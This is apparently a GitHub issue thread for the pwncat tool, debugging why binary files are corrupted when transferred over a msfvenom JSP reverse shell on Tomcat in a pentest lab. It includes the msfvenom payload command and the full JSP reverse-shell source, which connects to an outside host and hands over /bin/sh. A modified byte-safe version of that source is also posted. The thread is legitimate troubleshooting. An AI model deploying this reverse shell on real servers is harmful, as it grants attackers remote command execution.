pwncat
pwncat copied to clipboard
uploaded/downloaded binary files are corrupted with jsp reverse shell
First of all, I wanna say that pwncat is awesome, this tool really impressed me when I discovered it
However this time, I'm using pwncat to listen a jsp reverse shell generated by msfvenom (java/jsp_shell_reverse_tcp) running on apache tomcat, and I attempted to upload a tar archive containing enumeration scripts using pwncat upload function in local mode, however, it is corrupted, I check the sha256 hash of the file and indeed it is different than the tar file on my host machine.
I also tried the download function to download a binary file as a test, and I discovered that the downloaded binary to my machine was corrupted too after checking the sha256 hash.
But I tried to spawn a normal netcat reverse shell on that exact same machine and listen using pwncat and upload the exact same tar file. The upload function is working well and the hash of the files are identical.
I'm thinking if pwncat has an issue with uploading/downloading binary files when handling a jsp reverse shell.
Hey @Kaiziron, may you please provide some information about the pwncat version with which you are facing this issue?
The version of pwncat is 0.4.3
Would you mind using the provided Bug report template? It will be helpful to know the context and it won't take much time, thank you :smile:
Is the machine you were testing on available in the wild? Is it a TryHackMe or Hack the Box VM? I can spin up an arbitrary Tomcat version and test it out, but I'd like to replicate your environment as much as possible.
Also, is this a Windows or Linux target? If you can provide the transcript of how you started pwncat as well, that may be helpful.
Indeed there is a file checksum mismatch, see below.
Target System
# uname -a
Linux kali-vm 5.10.0-kali8-amd64 #1 SMP Debian 5.10.40-1kali1 (2021-05-31) x86_64 GNU/Linux
tomcat version
# tomcat9/bin/version.sh
Using CATALINA_BASE: /tmp/tomcat9
Using CATALINA_HOME: /tmp/tomcat9
Using CATALINA_TMPDIR: /tmp/tomcat9/temp
Using JRE_HOME: /usr
Using CLASSPATH: /tmp/tomcat9/bin/bootstrap.jar:/tmp/tomcat9/bin/tomcat-juli.jar
Using CATALINA_OPTS:
NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
Server version: Apache Tomcat/9.0.50
Server built: Jun 28 2021 08:46:44 UTC
Server number: 9.0.50.0
OS Name: Linux
OS Version: 5.10.0-kali8-amd64
Architecture: amd64
JVM Version: 11.0.11+9-post-Debian-1
JVM Vendor: Debian
Screenshots

The machine I was testing is from elearnsecurity/ine pts course black box pentest lab 1
Target machine :
(remote) tomcat8@xubuntu:/var/lib/tomcat8$ uname -a
Linux xubuntu 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Version of tomcat :
(remote) tomcat8@xubuntu:/usr/share/tomcat8/bin$ ./version.sh
Using CATALINA_BASE: /var/lib/tomcat8
Using CATALINA_HOME: /usr/share/tomcat8
Using CATALINA_TMPDIR: /tmp/tomcat8-tomcat8-tmp
Using JRE_HOME: /usr/lib/jvm/default-java
Using CLASSPATH: /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
Using CATALINA_PID: /var/run/tomcat8.pid
Server version: Apache Tomcat/8.0.32 (Ubuntu)
Server built: Jan 24 2020 16:24:30 UTC
Server number: 8.0.32.0
OS Name: Linux
OS Version: 4.4.0-104-generic
Architecture: amd64
JVM Version: 1.8.0_242-8u242-b08-0ubuntu3~16.04-b08
JVM Vendor: Private Build
Msfvenom command used to generate the reverse shell :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.64.10 LPORT=443 -f war > rev.war
Version of pwncat :
root@kali:/tmp# pwncat -v
0.4.3
Command used to start pwncat
root@kali:/tmp# pwncat -lp 443
[03:35:09] Welcome to pwncat 🐈! __main__.py:143
[03:35:10] received connection from 172.16.64.101:43718 bind.py:57
[03:35:12] 0.0.0.0:443: normalizing shell path manager.py:502
[03:35:13] 0.0.0.0:443: upgrading from /bin/dash to /bin/bash manager.py:502
[03:35:14] 172.16.64.101:43718: registered new host w/ db manager.py:502
Hash of the original file
root@kali:/tmp# sha256sum sudo.tar
ab81935d8387b261a498b38311ae85e33c721e128acd3a98a4bf3a050bd18059 sudo.tar
Hash of the file uploaded by pwncat
(local) pwncat$ upload sudo.tar
./sudo.tar ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 41.0/41.0 KB • ? • 0:00:00
[03:46:27] uploaded 40.96KiB in 3.38 seconds upload.py:74
(local) pwncat$
(remote) tomcat8@xubuntu:/tmp$ sha256sum sudo.tar
fec42ba292f00345ae58f77d5480418b332ebfa62006866d3fb80aa20f72fa1c sudo.tar
This is very peculiar. I was able to replicate this, and it seems the resulting file is much larger than it should be. I uploaded a 50MB dump from /dev/urandom, and the file on the target ended up being 87MB, which makes no sense:

For reference, this is the file I uploaded on my attacking machine:

I'm not sure what the problem is but I'm looking into it.
I'm doing some more testing. I built a simple file with every possible byte in it (0-255):

Uploading this file results in the following on the target:

Which is now 512 bytes long. It seems to mess up starting at what should be 0x80, and probably has to do with the translation of bytes needed due to the PTY, but I'll have to do some more digging.
I have found something, you may find it helpful.
I tried printing \x80 as you mentioned, and then copy pasted the printed output to check the hexdump

That is interesting. It has to be some termios settings, because the same VM works just fine with other payloads. I just need to figure out what exactly is getting enabled.
Never mind. The TTY settings are identical when it's working and when it's not, so must be something else.
For what it's worth, this is the source for a generated WAR file:
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream ec;
OutputStream cn;
StreamConnector( InputStream ec, OutputStream cn )
{
this.ec = ec;
this.cn = cn;
}
public void run()
{
BufferedReader dw = null;
BufferedWriter fyv = null;
try
{
dw = new BufferedReader( new InputStreamReader( this.ec ) );
fyv = new BufferedWriter( new OutputStreamWriter( this.cn ) );
char buffer[] = new char[8192];
int length;
while( ( length = dw.read( buffer, 0, buffer.length ) ) > 0 )
{
fyv.write( buffer, 0, length );
fyv.flush();
}
} catch( Exception e ){}
try
{
if( dw != null )
dw.close();
if( fyv != null )
fyv.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket( "192.168.122.1", 4444 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
It looks like a pretty standard reverse shell implementation in Java. I don't see anything crazy that would explain weird UTF translation issues.
OKAY. I think I know what's happening, but I'm not sure what the proper way to fix it is.
The source I posted above uses an InputStreamReader wrapped in a BufferedReader for the standard input (and the equivalent for the standard output). These are performing some kind of encoding translation which is causing this. I can prove that by modifying the loop in run() to remove the use of these classes, and rebuild the WAR file:
public void run()
{
BufferedReader dw = null;
BufferedWriter fyv = null;
try
{
final byte[] buf = new byte[8192];
int length;
while ( (length = this.ec.read(buf)) != -1 ) {
if ( this.cn != null ) {
this.cn.write(buf, 0, length);
if ( this.ec.available() == 0 ){
this.cn.flush();
}
}
}
} catch( Exception e ){}
try
{
if( dw != null )
dw.close();
if( fyv != null )
fyv.close();
} catch( Exception e ){}
}
}
This is the same way that the pure Java payload is implemented (as seen here).
I'm not really sure there's anything I can do to stop this, to be honest... :cry:
The implementation of the JSP payload is defined here in the Metasploit Framework repository, if anyone is curious.
We can do one thing.
I was testing the encoding, you are correct it is being applied by the payload itself.
So pwncat isn't doing anything wrong.
We can try to create a PR for metasploit-framework to suggest the change in the encoding being used in their payload, if the changes are applicable.

Yeah, I had thought of that. I'm not sure if there was a deliberate reason they chose to structure the payload in this way, though. I may send out some E-mails or ask around about that. I'm not sure if that's something they'd be open to, as it's not something that is important from their perspective. That being said, I'll see what I can do.